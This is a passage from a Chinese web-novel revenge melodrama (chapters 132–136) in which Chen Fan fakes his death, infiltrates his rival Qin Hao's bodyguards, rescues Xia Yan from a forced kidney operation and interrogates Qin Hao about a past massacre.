“张经理,为什么停掉凡颜资本的项目贷款?”苏婉情问道。
“行长,这个……”张经理犹豫了一下,道:“陈总他出事了,这个项目,我看还是……”
苏婉情低着头,平静的说道:“陈总出事与否,与项目贷款没有任何关系,该批的还是要批,我们是和凡颜资本签约,不是和个人签约,贷款不能停。”
苏婉情的话说完,各位高管脸上神色不同,不过大多数人,都是不同意。
“苏行长,你刚当上总行行长不久,有些事情可能不太清楚,像陈凡这种情况,我建议还是不要在批款了,为了行里的利益,我建议还要提前让他们还款。”刘开副行长说道。
一个副行长,当众要否定行长的意思,这是什么意思?
大家都面面相觑,不敢说话。
苏婉情眼色不悦,她听到了消息,夏颜在医院,陈凡被炸身亡,如果此刻停掉贷款,凡颜资本就彻底垮了。
这是她不愿意看到的,即便陈凡现在不在了,可她还是希望他的公司能好,或许,这就是一种寄托吧。
毕竟,当初,如果没有陈凡,自己也当不上海城总行行长。
更何况,苏婉情意识到自己已经爱上了这个男人。
“张经理,凡颜资本的贷款,今天必须批!”苏婉情没有用商量的语气,而是直接命令。
张经理抬起头,有些为难,她看了看刘开,又看了看苏婉情,最后还是点了点头。
“好了,今天的会议,就到这里。”苏婉情说完,直接拿起文件材料,走出了会议室。
她脚步匆忙,面无表情,路过的员工急忙闪开。
等她回到办公室,她关上门,整个人都软了下来。
她拿出手机,打开相册,里面绝大部分的照片都是陈凡,照片里的他是那样的潇洒帅气。
苏婉情的手指轻轻抚过屏幕上那张年轻的脸,眼泪终于决堤。
她哭得很安静,没有声音,只有肩膀在微微颤抖,泪水无声地滑落,打湿了手机的屏幕。
“陈凡……你怎么能就这么走了……”
苏婉情拿出手机,拨通了闺蜜的电话。
“菲菲,我在杭城的房子,你帮我卖了吧,大概能卖个几百万,我着急用钱。”苏婉情说道。
“怎么了婉情,你需要多少,我借给你,怎么卖房子了,说好以后来杭城发展的啊!”菲菲在电话着急问到。
“他的公司需要钱,我想帮帮他。”
电话那头沉默,菲菲自然知道怎么回事,她没有多问,只说了一句好。
苏婉情
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知道自己这几百万的房子,在东郊项目上算不上大钱,可即便如此,她也要帮陈凡的公司渡过难关,就算先解决工人工资问题也好。
忽然,苏婉情的手机振动了一下,是一个匿名消息。
“明天下午两点,城西殡仪馆,陈凡的追悼会,如果你想来送他一程。”
苏婉情看着这条信息,回复:我会去。
……
第二天下午,城西殡仪馆。
天空依然阴沉,细雨绵绵,将整个殡仪馆笼罩在一片灰蒙蒙的水汽中。
殡仪馆门口的停车场已经停满了车,很多都是豪车,车牌号一个比一个显赫。
来的人很多,商界人士,合作伙伴,朋友,媒体记者……整个大厅几乎挤满了人,人们低声交谈,表情肃穆,偶尔有人发出压抑的抽泣声。
夏颜是第一个到的。
她坐在轮椅上,被护士推着进来。她穿着一身纯黑色的长裙,脸上没有化妆,脸色苍白如纸,眼睛红肿,但眼神空洞。
周叶青陪在她身边,同样一身黑衣,表情凝重。
林薇儿是第二个到的。
她戴着墨镜和口罩,几乎遮住了整张脸,在一群保镖的护送下匆匆走进来。
柳媚笙是第三个。
她没有戴墨镜,也没有刻意遮掩,就那么大大方方地走进来,她穿着一件黑色旗袍,勾勒出完美的曲线,但眼里的悲伤藏不住。
最后到的是苏婉情。
她是一个人来的,她撑着一把黑色的伞,从雨中走来,走进大厅。她的出现引起了一些人的注意,毕竟,在海城商界,苏婉情也算是个名人。
追悼会正式开始。主持人念着悼词。
整个过程中,夏颜一直死死盯着陈凡的照片,手指紧紧抓着轮椅的扶手,指节发白。有好几次,她的身体开始颤抖,像是要崩溃,但周叶青及时按住了她的肩膀,低声在她耳边说着什么。
林薇儿摘下墨镜,眼泪无声地滑落。她用手帕捂住嘴,压抑着哭声。
柳媚笙站得笔直,面无表情,但眼眶是红的。
苏婉情低着头,看不清表情。
就在这时,大厅门口传来一阵骚动。
人群自动分开一条通道。几个穿着黑色西装、表情严肃的保镖先走了进来,分列两侧。然后,一个穿着黑色定制西装、戴着墨镜的男人,缓缓走了进来。
是秦昊!
132众女的反击!
秦昊的出现,让原本压抑的场馆,瞬间激起了千层浪!
所有人的目光都集中在他身上有人惊讶,有人不解,有人愤怒,有人仇恨!
不过这些,秦昊不在意,他摘下墨镜,目光扫过全场,他走到照片前,放下一束白色的菊花。
然后秦昊转身,面向众人。
“很遗憾在这样的场合与各位见面,我与陈凡先生虽然有过一些商业上的分歧,但我一直很敬佩他的能力和魄力,他的离世,是海城商界的巨大损失。”
秦昊一边说着目光却扫过夏颜,林薇儿,柳媚笙,苏婉情……,他就是要记住她们此时的表情。
她们越是痛苦,秦昊就越是快乐!
“在此,我谨代表秦氏集团,对陈凡先生的离世表示最深切的哀悼,同时,我也希望,在未来的日子里,我们能够放下过去的恩怨,共同推动海城商业的健康发展。”
秦昊的这番话,说的冠冕堂皇,说的无懈可击,让人挑不出任何的毛病,还给自己立足了人设!
夏颜的身体开始剧烈颤抖,她死死盯着秦昊,眼神里是刻骨的恨意,还有疯狂的杀意,如果不是坐在轮椅上,她可能会冲上去,用指甲,用牙齿,撕碎这个杀**她爱人的凶手。
“很好,夏颜,我很喜欢你现在的样子,恨我入骨吧?”秦昊一脸得意的看着夏颜!
“秦昊,你不得好死!”夏颜咬着牙说道。
“哈哈!”
秦昊非但没有生气,反而裂开嘴笑出了声。
林薇儿咬紧了嘴唇,几乎要咬出血。
柳媚笙的嘴角勾起一抹冰冷的弧度。
苏婉情抬起头,第一次正视秦昊,她的眼神很复杂,有悲伤,有愤怒,还有……一丝决绝。
秦昊感受到了这些目光,但他毫不在意,他走向照片前,用仅能几个人听到的声音说道:“看啊,陈凡,你**,你的女人们在为你哭泣,而我,还活着,站在这里,享受胜利!”
“够了!”夏颜冰冷道:“秦昊,你给我滚出去!”
“让我滚?呵呵……”秦昊冷冷的说道:“在场的你们,除了周家大小姐,你们谁有资格赶我走?跟我秦昊斗,你们配么?”
秦昊忽然转过身,对着大厅里宾客说道:“我有些事,要和夏颜单独说,你们祭奠完毕,就走吧!”
秦昊的一句话,俨然成为了这里的主人,他命令手下的保镖,道:“送客,不走的,就轰走!”
“是!”我站在保镖人群里,轻声的点了点头。
刚才发生的所有,我都看在了眼里,我现在已经换了一张脸,戴上了周叶青专门为我准备的人造面具,光是这样脸,就花了一百多万。
任凭秦昊怎么想,都不会猜到,我竟然摇身一变,混进了他的保镖队伍,而那个叫张维的保镖,在我去港口的那晚,就已经被周叶青给控制住了,我的脸就是仿造张维的。
我和其他保镖轰走了宾客,我心想:秦昊,你现在就尽情的得意吧,你现在笑的有多欢,死的就会有多惨。
“秦昊,你够了,你没资格出现在这里!”柳媚笙再也按耐不住内心的愤恨!
“呵……”秦昊冷哼一声,没有回话,在他的眼里,柳媚笙和自己根本不是一个档次的。
宾客被轰走后,秦昊的目光最先落在轮椅上的夏颜身上。
“夏颜身体恢复的怎么样?还能上手术台么?你可要恢复好起来,我的下半辈子,全靠你了!”
秦昊的话说的非常的恶毒,夏颜的身体猛地一颤,抬起头,死死盯着秦昊。
“秦昊,你这个**凶手,你怎么敢来这里!”夏颜怒不可遏的骂道。
“我为什么不敢,陈凡已经**,你们就是一盘散沙,夏颜,你还是好好关心你自己吧!”秦昊打断她,向前走了两步,居高临下地看着她。
“毕竟再过几天,你就要躺上手术台了,我得确保供体是健康的,对吧?不然,手术失败,我可就危险了!”
轰!
这句话在夏颜的大脑里**,她的身体开始剧烈的颤抖,不是因为恐惧,而是因为极致的愤怒和**!
“秦昊,你不得好死!”夏颜从牙缝里挤出这几个字,带着滔天的恨意!
“不得好死?”秦昊笑容灿烂道:“夏颜,你得搞清楚,现在死的人不是我,是陈凡,哦对了,你要养好身体,情绪波动会影响肾脏功能的。”
他转向周围的人群,像是在解释什么,道:“大家可能不知道,夏颜和我血型完全匹配,这是非常罕见的,本来嘛,救人一命胜造七级浮屠,如果她自愿捐献,那就是一段佳话。可惜啊……”
他又看
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向夏颜,眼神嘲讽道:“可惜有些人太自私,宁可看着别人死,也不愿意献出自己多余的器官,没办法,我只好采取了一些不太常规的手段。”
“你**我!你给我下药!”夏颜尖叫起来,道:“你是个**!**犯!”
“证据呢?”秦昊摊手,表情无辜,道:“夏颜,说话要讲证据,你被**?谁看见了?”
他走近一步,弯下腰,几乎贴着夏颜的耳朵,用只有周围几个人能听到的声音说:“而且,就算有证据,又能怎么样?你觉得,在云城,有谁敢动我秦昊?”
夏颜气得浑身发抖,她想站起来,想撕烂这张恶心的脸,但虚弱的身体让她连从轮椅上站起来的力气都没有。她只能死死盯着秦昊,眼神里的恨意浓烈得几乎要化为实质的刀子。
就在这时,一个冰冷的女声响起:
“说够了吗?”
是柳媚笙。
她不知什么时候已经走到了秦昊身边,距离他只有一步之遥。
她依然穿着那身黑色旗袍,站姿优雅,但眼神冷的犹如一把寒冷的刀,她红唇紧抿,整个人散发着一股危险的气息。
秦昊直起身,看向柳媚笙,脸上的笑容更加玩味:“柳老板,怎么,你也想来说两句?”
“呵呵……有意思,看来你们这些个女人,还是拎不清啊!我告诉你们,陈凡已经**!我才是胜利者!”
“你在别人的追悼会上大放厥词,羞辱逝者的遗孀,是什么心态?是觉得陈凡**,就没人能治得了你了?”
“遗孀?”秦昊冷笑一声道:“夏颜是陈凡的妻子吗?我记得他们好像没结婚吧?哦对了,我听说陈凡身边的女人可不止一个,柳老板你……”
他没有说完,但意思很明显。
柳媚笙的脸色瞬间沉了下来,冷冷道:“秦昊,我警告你,有些话可以说,有些话……说了是要付出代价的。”
“代价?”秦昊笑了,他完全不怕柳媚笙的威胁,道:“柳媚笙,你以为你是谁?在我眼里,你不过是个靠着美色和手段,在男人堆里混饭吃的**罢了!”
秦昊的话,恶毒至极,我都听不下去了!
就在这时,柳媚笙她上前一步,一把抓住了秦昊的胳膊,她侧身弯腰,一记漂亮的过肩摔,将秦昊狠狠的刷在了地上!
133夏颜的愤怒!
柳媚笙的这一招过肩摔,着实让我感到震惊!
她动作迅速犀利,一看就很娴熟,她练过?看来我以后要问问她。
秦昊躺在地上,龇牙咧嘴,他身后的保镖都冲了过来,似乎是想要对柳媚笙动手。
可让我没有想到的是,就在此刻,她们并没有退缩!林薇儿和苏婉情忽然走向了柳媚笙,挡在了柳媚笙的面前。
“秦昊,你想干什么?还想对女人动手?”苏婉情怒道。
“秦昊,这就是你乱说话的代价!”柳媚笙毫不退缩道。
呵呵!
秦昊冷笑一声,他从地上爬起来,他没有生气反而笑道:“你们现在很悲伤吧,看见你们愤怒的样子,我心里就爽快!”
秦昊伸手阻挡了一下身后的保镖,嘲讽道:“不要对女人动手,我秦某人,还是很有绅士风度的。”
“陈凡已经**,我也没有必要对你们动手,反而觉得我秦昊太过小气!”秦昊说了一声道。
“秦昊,这里不欢迎你,你快走吧!”
说出这番话的是林薇儿,她不知什么时候摘下了墨镜和口罩,露出了那张在荧幕上倾倒众生的脸,但此刻,那张脸上没有平日的温婉笑容,有的只是冰冷和悲伤。
秦昊愣了一下,随即笑道:“林小姐,怎么,你也想来凑热闹?我可提醒你一句,你是个演员,好好拍你的戏就行了,别掺和这些你玩不起的游戏。”
“我不是来凑热闹的,我只是想告诉你,陈凡是我的朋友,你羞辱他,羞辱他在乎的人,就是在羞辱我。”林薇儿怒道。
“朋友?”秦昊眼神玩味道:“哪种朋友?床上的朋友?还是……”
“秦昊!”
就在这时候,周叶青从外面走了进来,她厉声呵斥:“注意你的言辞。”
秦昊看向周叶青,表情稍微收敛了一些,周叶青毕竟是周家的人,他不能完全不给她面子。
“周小姐,我只是在陈述事实。”他耸耸肩,一脸无所谓道:“陈凡这个人,生前一堆风流债,死后还有这么多女人为他出头,我只是替他感到惋惜?唉……可惜啊,再也睡不到这些女人了!”
秦昊话里的嘲讽,谁都听得出来。
林薇儿的脸红了,不是因为害羞,是因为愤怒。
“秦先生,我是个演员,但我首先是个人,我有感情,有尊严,你今天说的话,我会记一辈子。”林薇儿说道。
“记一辈子?”秦昊笑了,道:“林小姐,我建议你还是忘掉比较好,毕竟你还要在娱乐圈混饭吃,得罪了我,对你没好处。”
这是赤裸裸的威胁。
林薇儿的脸色惨白,她知道秦昊说的是事实,以秦家的势力,想要**她一个演员,易如反掌,可她没有退缩!
“那就**我吧!如果为了生存就要背叛朋友,那我宁可不要!”林薇儿坚定的说道。
这话让大厅里很多人都动容了。
一个当红影后,为了一个已经死去的男人,不惜赌上自己的职业生涯,是怎样的一种情义?
秦昊的表情终于变了,他没想到林薇儿会这么硬气。
“好,好得很。”他冷笑,道:“林薇儿,我记住你了,希望你不要后悔今天的决定。”
“我永远不会后悔。”林薇儿直视着他,道:“因为有些事,比职业生涯更重要,有些人,值得我用一切去捍卫。”
秦昊的脸色彻底沉了下来,他感觉自己精心营造的胜利,正在被这些女人一点点击碎,她们没有跪地求饶,没有崩溃痛哭,反而一个个站出来,用她们的方式反抗他。
这让他感到失控和失败!
这是秦昊最讨厌的感觉!
他深吸一口气,努力恢复平静,但眼神里的阴鸷已经藏不住了。
“够了,秦昊,你该走了,否则我让秘卫把你赶出去!”
周叶青眼神阴冷的看着秦昊,她能说出滚这个字,可见她对秦昊的反感。
秦昊看着面前的人,眼神冰冷道:“我今天来,本来是想表达一下哀悼,但现在看来,有些人不太领情,那就这样吧。”
秦昊转身,准备离开,不过,他忽然停下了脚步,回头看向夏颜。
“夏颜,手术时间定在下周三,医院那边已经准备好了,你这几天好好休养,别想太多,毕竟你的
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身体现在不是你一个人的,它还关系到我的命。”
这话彻底引爆了夏颜的情绪,她猛地从轮椅上站起来,虽然她身体摇晃,但她还是站起来了。
“秦昊!”她尖叫着,道:“我就是死!也不会让你得逞!你休想碰我!休想!”
“那可由不得你。”秦昊冷冷地说:“好好享受你最后的自由时光吧!”
这话恶毒到了极点。
而就在这时,周叶青终于说话了,道:“来人,送客!”
白起第一时间走了上来,秦昊看了一眼白起,他收敛起了笑容,他听说过上城第一战将,白起的名号。
秦昊也知道,自己今天带来的人,根本不是白起的对手,如果真的是硬碰硬,搞不好还要被留在这里,想到这,秦昊觉得没必要现在动手。
秦昊讪讪一笑,然后走了出去。
我也跟着走了出去,因为我现在的身份是“张维”,秦昊身边的保镖。
今天发生的这一幕,让我心里无比的触动,我没有想到,这些女人们,竟然会不顾自己的安危,来守护我。
更让我想象不到的是,夏颜如此的坚强。
当秦昊说出那些羞辱的话的时候,我恨不得掰断秦昊脖子的心都有了,可现在却不是时候,我在等,等可以一击毙命秦昊。
秦昊离开了,众人都松了一口气,夏颜因为身体虚弱,被气的气喘嘘嘘!
“医生!”周叶青立刻喊道。
医护人员冲上来,把夏颜放回轮椅,紧急检查她的状况。
柳媚笙走到窗边,看着秦昊的车队驶离殡仪馆,眼神冰冷。
林薇儿站在原地,眼泪终于落下。
周叶青看着这一切,然后抬头,看向陈凡的照片。
我坐在奔驰车里,这是秦昊的保镖车队,我们每个人的手里都有着一个对讲机。
这时候,对讲机传来了一个声音,是秦昊的声音。
“半个小时后,夏颜即将回医院,你们马上准备救护车,将夏颜转运到我的私人医院里!”
“是!”
秦昊,你终于对夏颜动手了!
这一次,我绝对不会饶过你!
134夏颜,是你吗?
殡仪馆外,空气湿冷的刺骨。
夏颜被医护人员簇拥着,送上了一辆医护车,这辆车里,窗户贴的都是防窥膜,从里面根本看不到外面的样子。
“去哪里?”夏颜开口问道。
“回医院。”前面的司机回答道。
夏颜心里总感觉有点不对劲,她觉得此时的氛围有些不对,直到医护车离市区越来越远的时候,她才意识到,这根本不是回医院的那条路。
“你们要带我去哪里!这不是回医院的路!”夏颜挣扎着。
“这就是去医院的路,不过是去私人医院!”旁边的医护人员紧紧的按着夏颜,不让她挣扎。
夏颜眼神里露出惊恐的神色,她知道怎么回事,这都是秦昊安排的,她现在就是喊破嗓子,也没有人来救她了。
夏颜索性就不喊了,她认了。
以前陈凡还在的时候,她都将希望寄托在陈凡的身上,现在陈凡不在了,她还能指望谁呢?
夏颜眼神空洞,她身边没有手机,她和外面失去了联系。
直到,医护车停在了一家豪华的私人医院门前。
夏颜被医护人员抬了下来,她看了看四周,没有一个人,她绝望了,她就被几个壮汉推着轮椅送入了一个豪华病房。
房间里,秦昊早就等着了,他看见夏颜被推了进来,然后对着医护人员说道:“手术准备进行,你们去准备一下。”
“是的,秦少。”
几个医护人员马上去换装,准备手术工作。
秦昊此刻对我说道:“张维,你去外面守着点。”
我点了点头,走过夏颜身边时候,我能感觉到夏颜身体明显颤抖了一下。
我推开门,站在外面等待,做好秦昊保镖的职责。
我可以分分钟放倒秦昊,但我还需要一样东西才可以。
“放松点,夏颜,一会儿就会结束,你醒来后,一切就都好了!”秦昊声音温柔的说着,就像是在哄小孩一样。
夏颜紧盯着秦昊,声音冰冷道:“秦昊,我做鬼都不会放过你。”
“做鬼?”秦昊笑了道:“夏颜,你怎么会有这么迷信的想法,放心,手术很安全,你不会有事的,只不过,以后少了一个肾,生活质量可能会受点影响,但为了救我的命,这点牺牲是值得的,对吧?”
“你做梦!你卑鄙无耻!你这个畜生!”夏颜带着恨意骂道。
“自古成王败寇,就像陈凡,他现在**,谁会记得他是**的?人们只会记得,他输了,我赢了,这就够了。”
听到我的名字,夏颜的身体猛地一颤,她的眼圈红了,但死死咬着嘴唇,不让眼泪掉下来。
“你为什么要杀他?他从来没有主动招惹过你……”
“没有招惹我?”秦昊直起身,眼神变得阴鸷。
“夏颜,你太天真了,在这个世界上,存在本身就是一种招惹,陈凡的存在,挡了我的路,他护着你,让你这颗本该属于我的肾脏无法到手,他联合周叶青,威胁到我在上城的布局!”
“所以你就杀了他?!”夏颜的眼泪终于落下,“就因为这种理由?!”
“这种理由还不够吗?”秦昊的声音冷了下来,道:“夏颜,我告诉你,在这个世界上,要么**,要么被吃,陈凡选择被吃,那是他的选择,而我,选择**。”
秦昊拿起一个麻醉针,对夏颜说道:“准备开始吧,我已经没有时间在和你废话了!”
他走到病床边,握住夏颜的手臂,寻找静脉,夏颜的身体开始剧烈颤抖,她想挣扎,但皮带把她死死固定着。
“不……不要……”
“你放开我!”
夏颜在不停的呼救,而我已经得到这个信号!
“省点力气吧。”秦昊站在一旁,欣赏着这一幕,道:“哭喊改变不了什么,接受现实,夏颜,这就是你的命。”
就是现在!我的录音笔已经录下了秦昊的罪证!
我猛地推开手术室的门,冲了进去。
我的动作极快,秦昊还没有反应过来,我已经冲到麻醉师身边,一把夺过他手中的注射器。
秦昊愣住了,夏颜也愣住了。
时间仿佛在这一刻凝固。
然后,在秦昊震惊的眼神中,我手腕一转,针尖调转方向,狠狠扎进了秦昊的脖颈!
针管里的麻醉剂被全部推入,冰冷的液体涌入血管,秦昊的眼睛瞬间瞪大,瞳孔收缩,脸上是难以置信的惊吓。
秦昊张了张嘴,想说什么,但此时他的身体已经不听使唤了!
我松开手,针头还扎在他脖子里,秦昊踉跄后退,撞在身后的器械车上,各种手术器械哗啦一声散落一地。
他瘫坐在地上,背靠着墙,眼睛死死盯着我,眼神里是极致的震惊!
“张维,你干什么!”秦昊质问道。
我没有说话,只是伸出手,抓住自己脸颊的边缘,然后,我用力
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一扯。
**瞬间被我撕下,露出下面最真实的脸。
那张秦昊以为已经死在码头**中的脸,赫然出现在他的面前!
夏颜躺在病床上,眼睛瞪得极大,泪水像决堤的洪水一样涌出。
我走到她身边,解开她手腕和脚踝上的皮带,她的皮肤已经被勒出深深的红痕,有些地方甚至破了皮,渗出血丝。
“没事了,我在这里,我回来了!”我轻声安慰着她。
夏颜猛地坐起来,扑进我怀里,双手死死抱住我的脖子,她哭的浑身颤抖。
“陈凡……陈凡……”她一遍遍重复着我的名字,声音哽咽破碎。
“我以为……我以为你真的……”
“我知道。”我轻轻拍着她的背,“对不起,让你担心了。”
她的哭声更大了,那是一种压抑了太久的情绪,情绪里有害怕和重见我的欣喜。
我心疼的看着夏颜,然后转过头,看向墙角的秦昊!
此刻的麻醉剂已经开始生效,他的眼神开始涣散,身体软得像一摊泥,可他还想坐在挣扎。
我轻轻松开夏颜,让她靠在病床上,然后走到秦昊面前,质问道:“没想到吧,我还活着。”
秦昊的嘴唇动了动,但发不出声音,他的手无力地抬了抬,又垂下去。
“你以为你赢了,你以为炸死我,羞辱我的女人,就能掌控一切,但你错了。”
我伸手,拔出还扎在他脖子里的针头,但他已经感觉不到疼痛了。
“秦昊,我给你上一课,在这个世界上,有两种人不能惹,一种是比你强的人,另一种是已经死过一次的人。”
他看着我,眼神里的意识逐渐的在涣散!
“而你,两种都惹了!”我站起身,居高临下地看着他。
我转身,对已经冲进来的白起说:“白大哥,把他绑起来,带走,还有这两个医生,一起带走。”
“好的!”
白起和另外两个人上前,把已经完全失去反抗能力的秦昊拖起来,那两个医生早就吓傻了,跪在地上,连求饶都说不出来。
我走回夏颜身边,她已经止住了哭声,但她还在抽噎。
我知道,夏颜此时的情绪已经都崩塌了,她止不住眼泪了。
此刻的夏颜眼睛红肿,脸上满是泪痕,她看着我,伸手,颤抖着抚摸我的脸。
“真的是你……”她的声音很虚弱道:“我不是在做梦吧……”
135解救夏颜!
“我没死。”我握住夏颜的手说道:“码头**是假的,死亡是假的,这一切都是我为了引秦昊上钩。”
“可是新闻,还有那些证据?”
“是我让周叶青这样安排的,为了让秦昊相信我是真的**,我不得已这么做。”我解释道。
夏颜愣愣地看着我,然后,她突然一拳砸在我胸口,这一拳不重,更像是发泄。
“陈凡,你混蛋!你知道我这几天是怎么过的吗?我以为你**,我甚至想过去陪你!”夏颜痛哭不止道。
“对不起,老婆!”我把她搂进怀里,这次我搂的很紧,我相信她说的话,因为她和秦昊的对话,就是最好的证明。
我满心满眼的歉意对她说道:“对不起,我知道这样让你很伤心,可这是我唯一的办法,秦昊他太狡猾了,如果他知道我还活着,他会一直在暗处,我永远抓不到他。”
“那你为什么不告诉我?”她哭着问道:“哪怕只有我一个人知道……”
“因为你的反应必须是真实的。”周叶青的声音从门口传来。
“如果连你都演不出真实的悲伤,秦昊是不会相信。”周叶青走到我们面前,看着夏颜,道:“对不起,让你受苦了,但这是计划的一部分。”
夏颜看着她,又看看我,最终点了点头。
“现在……要怎么做?”她问。
“先离开这里。”我说。
我扶着她下床,她的腿还很软,几乎站不稳,**脆把她横抱起来。
“我能走……”她小声说。
“别逞强。”我抱着她,走出手术室。
走廊里,秦昊被铐着**,嘴里塞着布,由两个人架着,那两个医生也被控制着,面色如土。
我们快速撤离,穿过已经空无一人的医院走廊,从后门离开。
外面,雨还在下,几辆车已经等在路边。
我把夏颜放进其中一辆的后座,让她躺好,她的身体还在微微颤抖,但她的眼神一直看着我,她怕一眨眼,我就会消失。
“我会一直陪着你。”我握住她的手,道:“这次,不会再离开了。”
她点点头,眼泪又流下来,但这次,是释然的泪水。
回到周叶青安排的住处,夏颜在卧室里睡着了,刘医生专门负责照顾她。
我轻轻握住她的手,她的手很凉,我用自己的手包裹着,试图传递一些温度。
门被轻轻推开,周叶青走了进来。
她穿着一身休闲装,头发随意的扎起,她的脸上带着疲惫。
“她怎么样?”她压低声音问。
“睡着了,医生说她需要至少一周的休养,秦昊给她用的那些药,对她的身体造成了很大负担。”
周叶青点点头,沉默了片刻,然后说:“秦昊醒了,白起在审。”
我轻轻放开夏颜的手,替她掖好被角,站起身道:“去看看。”
我们穿过走廊,来到安全屋的另一端。
这里被改造成了一个简易的审讯室,没有窗户,只有一张金属桌子,两把椅子,墙上装着单向玻璃和摄像头。
秦昊坐在椅子上,他已经完全清醒了,麻醉剂的效果已经褪去。
白起看见我和周叶青走了进来,就起身给我们两个人让座位。
我和周叶青同时坐下,白起站在周叶青的身后。
“见到我很意外把,是不是很崩溃?”我率先开口,声音很平静。
秦昊的嘴角抽搐了一下道:“陈凡……你真的……没死。”
“让你失望了,你的计划确实很毒辣,可就在**前的几秒钟,周总安排的摩托车骑手救了我。”
如今我赢了,我不在乎告诉秦昊实情。
秦昊听了我的话,他的脸色变得惨白,他深吸一口气,道:“所以,这一切都是你计划的陷阱,假死,追悼会,夏颜被抓,都是为了阴我?”
“不完全是。”周叶青开口说道:“夏颜被抓确实是意外,我们没想到你会这么快动手,但正好,这给了我们一个完美的时间。”
“所以我在追悼会上的表演,在你们眼里,就是个小丑?”
“差不多,一个自以为是却掉进陷阱的小丑!”我嘲讽道。
“陈凡,你以为你赢了?秦家的人很快就会知道我失踪,他们会动用一切力量找我,司徒鸣也不会坐视不管,我和他有协议,我出事,他不会袖手旁观。”
“秦昊,你真的以为,秦家现在还有人能救你吗?
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”我说道。
“你什么意思?”秦昊问道。
“在你忙着**夏颜,准备手术的时候,秦家内部已经发生了一些变动。”
我从口袋里掏出一个平板电脑,打开,调出一段视频,推到秦昊面前。
视频里是秦氏集团总部的会议室,十几个秦家的主要成员和股东围坐在会议桌旁,主持会议正是秦悦的父亲,秦远宏。
“由于秦昊最近一些列不当行为,为秦氏集团带来负面影响,经过董事会决定,永久接触秦昊所有的职务。”
“秦远宏,你个卑鄙小人!你!”秦昊死死的盯着屏幕,他的恨意都要溢出眼球了。
我关上了视频,我走到秦昊的面前,居高临下的看着他,问道:“你输了,这次输的心服口服吧!”
秦昊仰着头看着我,冷冷笑道:“从我第一次见你,我就知道你会是个麻烦,你护着夏颜,让她那颗本该属于我的肾脏无法到手,你联合周叶青,威胁到我在上城的布局……”
“所以你就设计码头**,想把我炸死,然后呢?我**之后,你的计划是什么?”
秦昊沉默了,他没有立刻回答。
周叶青开口道:“然后,你想用手中司徒鸣的把柄,吞并司徒家的部分产业,在然后,你想在上城布局,联合上城的实力,打压周家,最后成为上城的唯一掌控者?”
“你怎么知道?”秦昊眼神一挑,道:“周叶青果然了不起,我的计划都被你猜到了。”
“我们知道的比你想象的多,包括你和司徒鸣的私下协议,包括你打算在掌控秦家后,逐步清洗家族内部反对派的名单,包括你在未来五年染指上城,完成产业布局……”
“你们到底在我身边安插了多少人?”他的声音在颤抖。
“不多。”我说道:“但足够了解你的全部计划。”
我坐回椅子上,看着秦昊,道:“秦昊,现在我们来做一笔交易!”
秦昊抬起头,眼神警惕的问我:“什么交易?”
“告诉我司徒鸣的把柄,十五年前那桩灭门案,到底怎么回事?司徒鸣在里面扮演了什么角色?”我说。
“放了我,我就告诉你!”秦昊说道。
136为夏颜报仇!
“如果你的证据足以扳倒司徒鸣,我可以考虑放了你。”我说道。
“呵呵……”秦昊冷笑道:“你们是不是太小看司徒鸣了,我知道他这个秘密,我都没有轻举妄动,陈凡,周叶青,你们以为你们就可以么?”
“我是不可以,可周老,周镇山呢?”
当我说出周镇山这个名字的时候,秦昊的瞳孔猛然的收缩。
秦昊看了看我,又看了看周叶青,他突然笑了说道:“原来,有靠山就是爽啊!就可以为非作歹了!”
“秦昊,我没工夫和你废话!”我冷冷道:“我的耐心已经用光了。”
“如果我不说呢?”秦昊挑衅道。
“我们会把你移交给治安署,**,非法拘禁,蓄意伤害,意图非法**,这些罪名加起来,足够你在监狱里待到死,而且,以周家的能量,可以确保你在监狱里过得生不如死。”
我不是在吓唬秦昊,以他的罪名,这都是轻的了!
秦昊的表情僵住了,我知道,他是怕了,他那么骄傲的人,怎么可能会选择没有尊严的活着!
他盯着我,眼神里有不甘,有愤恨,最后他只能选择妥协!
“给我一支烟。”
我从衣服里掏出一盒烟,然后扔给了秦昊。
秦昊点燃这根烟,然后缓缓开口道:“十五年前,上城西郊,有一个姓杨的家庭,他们一家五口,做建材生意,不算大富大贵,但也算小康。”
“那时候,司徒鸣刚创业,急于做出成绩,他看中了西郊的一块地,打算开发成高档住宅区,但杨家的老宅正好在那块地的核心位置,他们不肯搬。”
“所以司徒鸣就杀了他们全家?”周叶青皱眉。
秦昊摇头:“不是直接动手,司徒鸣没有那么蠢,他找了一伙亡命之徒,制造了一场****的假象,那伙人本来只是打算威胁一下,让杨家搬走,只不过中途出了意外,杨家的男主人反抗,打伤了一个人,那伙人慌了,下手就没了轻重……”
他没有说完,但意思已经很清楚了。
“事后呢?”我问道。
“事后,司徒鸣动用了所有的关系,把案子压了下去。”
“你怎么知道这些?”周叶青问。
“因为当时负责处理现场工作的,是我父亲手下的人,司徒鸣欠我父亲一个人情,这也是为什么这些年,司徒家在很多事情上会对我家让步的原因。”
“这些年来,司徒鸣一直担心这件事曝光,所以他做事越来越谨慎,也越来越狠,任何可能威胁到他的人,都会被清除,陈凡,你被他盯上,不只是因为司徒晴,更是因为你的行事风格让他感到了威胁。”
我沉默着,消化着这些信息,十五年前,五条人命,就为了一块地,这就是司徒鸣的真面目。
真正的司徒鸣,真是阴险毒辣到让人感觉到了可怕!
“证据呢?”周叶青问道:“光凭你的口供,不足以扳倒司徒鸣。”
“证据在我父亲的书房里,他那里有一个保险箱。密码是我母亲的生日加我的生日,里面有一个录音笔,保存着当年的录音,还有司徒鸣亲笔写的一份承诺书,承诺在适当的时候,将司徒家百分之十的股份转让给我父亲,作为**。”
“百分之十的股份?”周叶青挑眉,道:“司徒鸣倒是舍得。”
“那是十五年前的承诺,到现在他也没兑现,只是每年会给我们家一些好处,吊着我们。”秦昊满是不甘的说道。
现在,我终于明白,为什么秦昊会叫司徒鸣为干爹,原来是有这一层关系在,果然人和人的关系不能深挖,一旦深挖,就会出事儿。
“你为什么现在愿意说出来?”我问道。
“因为司徒鸣骗了我,他说过要帮我得到夏颜的肾脏,可结果呢?还不是我自己亲手来,他说过要给我10%的股份,可结果呢?竟然还要我给赵坤那个王八蛋一个公司,他不是耍我是什么?”
“我这辈子最恨的,就是被人当做棋子,可司徒鸣偏偏拿我当傻子耍,那我不**还干什么?”
“陈凡,你别觉得我
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说出这些,是因为你绑了我,现在是我想说了而已,没有了夏颜,我活下去的机会也很渺茫,呵呵……”
“白大哥,你找个人去秦家,拿到那个录音笔,记得别被人发现。”
“明白。”
我站起身,最后看了一眼秦昊,他坐在椅子上,嘴里叼着烟,即便是输了,秦昊依旧保持了他高傲的一面,从始至终,他都没有说过一句软话。
